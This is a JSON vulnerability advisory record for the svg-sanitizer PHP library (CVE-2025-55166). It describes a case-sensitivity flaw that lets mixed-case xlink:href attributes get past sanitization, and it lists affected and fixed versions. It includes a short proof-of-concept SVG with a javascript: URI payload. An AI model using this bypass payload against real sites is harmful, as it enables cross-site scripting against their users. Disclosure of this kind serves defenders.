{"id":"GHSA-22wq-q86m-83fh","aliases":["CVE-2025-55166"],"title":"svg-sanitizer Bypasses Attribute Sanitization","description":"#### Problem\n\nThe sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains.\n\n#### Proof-of-concept\n_provided by azizk_\n\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"100\" height=\"100\">\n  <a xlink:hReF=\"javascript:alert(document.domain)\">\n    <rect width=\"100\" height=\"50\" fill=\"red\"></rect>\n    <text x=\"50\" y=\"30\" text-anchor=\"middle\" fill=\"white\">Click me</text>\n  </a>\n</svg>\n```\n\n#### Credits\n\nThe mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk <medazizknani@gmail.com>`.","severity":"medium","score":5.1,"published":"2025-08-12T20:20:58.000Z","modified":"2025-08-12T20:42:20.247Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"enshrined/svg-sanitize","ranges":[{"events":[{"introduced":"0"},{"fixed":"0.22.0"}],"type":"ECOSYSTEM"}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.2.1","0.20.0","0.21.0","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.5.3.1","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.9.2"],"fixed":["0.22.0"]}],"references":["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-22wq-q86m-83fh","https://nvd.nist.gov/vuln/detail/CVE-2025-55166","https://github.com/darylldoyle/svg-sanitizer/commit/0afa95ea74be155a7bcd6c6fb60c276c39984500","https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1","https://github.com/darylldoyle/svg-sanitizer","https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481","https://github.com/darylldoyle/svg-sanitizer/releases/tag/0.22.0"],"sources":[{"name":"OSV","id":"GHSA-22wq-q86m-83fh","modified":"2025-08-12T20:42:20.247581Z","url":"https://osv.dev/vulnerability/GHSA-22wq-q86m-83fh"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":5.1}]}